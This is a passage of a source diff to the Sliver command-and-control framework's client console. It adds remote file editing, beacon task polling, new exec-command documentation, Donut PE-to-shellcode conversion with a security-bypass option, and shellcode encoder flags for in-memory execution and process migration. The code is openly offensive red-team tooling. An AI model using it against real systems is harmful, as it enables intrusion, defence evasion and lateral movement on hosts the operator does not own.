return download, nil
|
||||
}
|
||||
|
||||
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
uploadData, err := new(encoders.Gzip).Encode(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
|
||||
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
Data: uploadData,
|
||||
Encoder: "gzip",
|
||||
IsDirectory: false,
|
||||
Overwrite: true,
|
||||
})
|
||||
if err == nil && upload.Response != nil && upload.Response.Async {
|
||||
taskID := upload.Response.TaskID
|
||||
upload = &sliverpb.Upload{}
|
||||
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
|
||||
}
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
return nil
|
||||
}
|
||||
|
||||
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
|
||||
task, err := waitForBeaconTask(ctx, con, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state != "completed" {
|
||||
if state == "" {
|
||||
state = "unknown"
|
||||
}
|
||||
return fmt.Errorf("beacon task %s %s", task.ID, state)
|
||||
}
|
||||
if len(task.Response) == 0 {
|
||||
return fmt.Errorf("beacon task %s returned empty response", task.ID)
|
||||
}
|
||||
return proto.Unmarshal(task.Response, out)
|
||||
}
|
||||
|
||||
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
|
||||
ticker := time.NewTicker(beaconPollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
state := strings.ToLower(task.State)
|
||||
if state == "completed" || state == "failed" || state == "canceled" {
|
||||
return task, nil
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
|
||||
syntaxName, _ := cmd.Flags().GetString("syntax")
|
||||
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
|
||||
|
||||
syntaxName = strings.TrimSpace(syntaxName)
|
||||
if strings.EqualFold(syntaxName, "auto") {
|
||||
syntaxName = ""
|
||||
}
|
||||
|
||||
if syntaxName != "" {
|
||||
if strings.EqualFold(syntaxName, "none") {
|
||||
return nil, "none", nil
|
||||
}
|
||||
lexer := lexers.Get(syntaxName)
|
||||
if lexer == nil {
|
||||
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = syntaxName
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
if selectSyntax {
|
||||
options := syntaxOptions()
|
||||
selection := "auto"
|
||||
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
return nil, "", err
|
||||
}
|
||||
if strings.EqualFold(selection, "none") {
|
||||
return nil, "none", nil
|
||||
}
|
||||
if strings.EqualFold(selection, "auto") {
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
lexer := lexers.Get(selection)
|
||||
if lexer == nil {
|
||||
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = selection
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
return detectSyntax(path, content)
|
||||
}
|
||||
|
||||
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
|
||||
lexer := lexers.Match(path)
|
||||
if lexer == nil {
|
||||
lexer = lexers.Analyse(content)
|
||||
}
|
||||
if lexer == nil {
|
||||
lexer = lexers.Fallback
|
||||
}
|
||||
name := lexer.Config().Name
|
||||
if name == "" {
|
||||
name = "auto"
|
||||
}
|
||||
return lexer, name, nil
|
||||
}
|
||||
|
||||
func syntaxOptions() []string {
|
||||
names := lexers.Names(true)
|
||||
sort.Strings(names)
|
||||
options := make([]string, 0, len(names)+2)
|
||||
options = append(options, "auto", "none")
|
||||
options = append(options, names...)
|
||||
return options
|
||||
}
|
||||
|
||||
func confirm(title string) (bool, error) {
|
||||
answer := false
|
||||
if err := forms.Confirm(title, &answer); err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return false, nil
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
return answer, nil
|
||||
}
|
||||
|
||||
func detectLineEnding(data []byte) string {
|
||||
if strings.Contains(string(data), "\r\n") {
|
||||
return "\r\n"
|
||||
}
|
||||
return "\n"
|
||||
}
|
||||
|
||||
func normalizeLineEndings(data []byte) string {
|
||||
content := strings.ReplaceAll(string(data), "\r\n", "\n")
|
||||
content = strings.ReplaceAll(content, "\r", "\n")
|
||||
return content
|
||||
}
|
||||
|
||||
func applyLineEnding(content, lineEnding string) []byte {
|
||||
if lineEnding == "\r\n" {
|
||||
content = strings.ReplaceAll(content, "\n", "\r\n")
|
||||
}
|
||||
return []byte(content)
|
||||
}
|
||||
|
||||
func isText(sample []byte) bool {
|
||||
const max = 1024
|
||||
if len(sample) > max {
|
||||
sample = sample[:max]
|
||||
}
|
||||
for i, c := range string(sample) {
|
||||
if i+utf8.UTFMax > len(sample) {
|
||||
break
|
||||
}
|
||||
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,4 +1,12 @@
|
||||
Environment
|
||||
===========
|
||||
# client/command/environment
|
||||
|
||||
Contains command implementations for manipulating remote environment variables.
|
||||
## Overview
|
||||
|
||||
Implements the 'environment' command group for the Sliver client console. Handlers map Cobra invocations to environment workflows such as GET, SET, and unset.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Declares environment command variations and wires subcommands for get/set/unset operations with shared flags.
|
||||
- `get.go` – Invokes the RPC to retrieve environment variables and prints the results for sessions or beacons.
|
||||
- `set.go` – Handles setting environment variables remotely, including beacon callback handling and result formatting.
|
||||
- `unset.go` – Removes environment variables on the remote target and reports task outcomes back to the user.
|
||||
@@ -1,4 +1,19 @@
|
||||
Exec
|
||||
====
|
||||
# client/command/exec
|
||||
|
||||
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
|
||||
## Overview
|
||||
|
||||
Implements the 'exec' command group for the Sliver client console. Handlers map Cobra invocations to exec workflows such as execute assembly, execute shellcode, execute, and migrate.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Registers the exec command family and binds shared flags across execution techniques.
|
||||
- `execute-assembly.go` – Uploads .NET assemblies and triggers in-memory execution, handling results and loot capture.
|
||||
- `execute-shellcode.go` – Executes raw shellcode via RPC, supporting interactive injection and task result printing.
|
||||
- `execute.go` – Runs arbitrary commands, streams combined stdout/stderr, and persists output as loot when requested.
|
||||
- `migrate.go` – Implements process migration, moving implants into new host processes and reporting completion.
|
||||
- `msf-inject.go` – Coordinates Metasploit payload injection tasks and prints remote execution responses.
|
||||
- `msf.go` – Launches Metasploit jobs on targets and tracks their beacon callbacks.
|
||||
- `psexec.go` – Provides PsExec-style remote service deployment using generated binaries and random filenames.
|
||||
- `sideload.go` – Executes unmanaged DLL exports in a remote process and summarizes task output.
|
||||
- `spawndll.go` – Spawns new processes with DLL injection, capturing returned handles and statuses.
|
||||
- `ssh.go` – Runs remote commands over SSH, sourcing credentials from loot and presenting command output.
|
||||
@@ -1,9 +1,11 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -25,12 +27,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("output", "o", false, "capture command output")
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.Bool("background", false, "start the process in the background and track it")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
|
||||
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
|
||||
f.StringP("name", "n", "", "name to assign loot (optional)")
|
||||
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
|
||||
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
|
||||
@@ -42,6 +47,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||
|
||||
executeChildrenCmd := &cobra.Command{
|
||||
Use: consts.ExecuteChildrenStr,
|
||||
Short: "List tracked background execute child processes",
|
||||
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExecuteChildrenCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
executeCmd.AddCommand(executeChildrenCmd)
|
||||
|
||||
executeAssemblyCmd := &cobra.Command{
|
||||
Use: consts.ExecuteAssemblyStr,
|
||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
@@ -75,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
||||
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
|
||||
|
||||
executeShellcodeCmd := &cobra.Command{
|
||||
Use: consts.ExecuteShellcodeStr,
|
||||
@@ -94,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
@@ -101,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||
})
|
||||
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
|
||||
|
||||
sideloadCmd := &cobra.Command{
|
||||
Use: consts.SideloadStr,
|
||||
@@ -129,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
||||
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
|
||||
|
||||
spawnDllCmd := &cobra.Command{
|
||||
Use: consts.SpawnDllStr,
|
||||
@@ -157,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
||||
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
|
||||
|
||||
migrateCmd := &cobra.Command{
|
||||
Use: consts.MigrateStr,
|
||||
@@ -169,11 +200,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
}
|
||||
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.Uint32P("pid", "p", 0, "process id to migrate into")
|
||||
f.StringP("process-name", "n", "", "name of the process to migrate into")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
|
||||
|
||||
msfCmd := &cobra.Command{
|
||||
@@ -239,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["custom-exe"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
|
||||
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
||||
|
||||
sshCmd := &cobra.Command{
|
||||
@@ -269,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["private-key"] = carapace.ActionFiles()
|
||||
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
|
||||
|
||||
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
||||
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
||||
|
||||
@@ -24,8 +24,8 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -82,8 +82,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
if len(assemblyArgsStr) > 256 && !inProcess {
|
||||
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
_ = forms.Confirm("Do you want to continue?", &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Querying execute children ...", ctrl)
|
||||
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if execChildren.Response != nil && execChildren.Response.Async {
|
||||
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execChildren.Response)
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
}
|
||||
|
||||
// PrintExecuteChildren - Render execute children output.
|
||||
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||
con.PrintInfof("No tracked background execute children\n")
|
||||
return
|
||||
}
|
||||
|
||||
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||
|
||||
for _, child := range children {
|
||||
state := "running"
|
||||
exitCode := "-"
|
||||
if child.Exited {
|
||||
state = "exited"
|
||||
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||
}
|
||||
|
||||
started := "-"
|
||||
if child.StartTime != 0 {
|
||||
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -20,27 +20,44 @@ package exec
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
|
||||
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
|
||||
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
|
||||
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
|
||||
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||
imageFileDLLMask = 0x2000
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetName := activeTargetName(session, beacon)
|
||||
targetOS := activeTargetOS(session, beacon)
|
||||
targetArch := activeTargetArch(session, beacon)
|
||||
|
||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
|
||||
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
|
||||
if shouldConvertPE {
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Converting PE input to shellcode ...\n")
|
||||
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||
|
||||
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-compress") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep")
|
||||
|
||||
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||
}
|
||||
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||
}
|
||||
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||
}
|
||||
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Entropy: shellcodeEntropy,
|
||||
Compress: shellcodeCompress,
|
||||
ExitOpt: shellcodeExitOpt,
|
||||
Bypass: shellcodeBypass,
|
||||
Headers: shellcodeHeaders,
|
||||
Thread: shellcodeThread,
|
||||
Unicode: shellcodeUnicode,
|
||||
OEP: shellcodeOEP,
|
||||
}, anyChanged, nil
|
||||
}
|
||||
|
||||
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
|
||||
ext := strings.ToLower(filepath.Ext(shellcodePath))
|
||||
isPEByExt := ext == ".exe" || ext == ".dll"
|
||||
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
|
||||
}
|
||||
|
||||
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetName()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetName()
|
||||
}
|
||||
return "target"
|
||||
}
|
||||
|
||||
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return strings.ToLower(session.GetOS())
|
||||
}
|
||||
if beacon != nil {
|
||||
return strings.ToLower(beacon.GetOS())
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetArch()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetArch()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type executeShellcodeDonutOptions struct {
|
||||
entropy int
|
||||
compress int
|
||||
exitOpt int
|
||||
bypass int
|
||||
headers int
|
||||
thread bool
|
||||
unicode bool
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
|
||||
opts := executeShellcodeDonutOptions{
|
||||
entropy: defaultExecuteShellcodeDonutEntropy,
|
||||
compress: defaultExecuteShellcodeDonutCompress,
|
||||
exitOpt: defaultExecuteShellcodeDonutExitOpt,
|
||||
bypass: defaultExecuteShellcodeDonutBypass,
|
||||
headers: defaultExecuteShellcodeDonutHeaders,
|
||||
}
|
||||
if config == nil {
|
||||
return opts
|
||||
}
|
||||
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||
opts.entropy = int(config.Entropy)
|
||||
}
|
||||
if config.Compress >= 1 && config.Compress <= 2 {
|
||||
opts.compress = int(config.Compress)
|
||||
}
|
||||
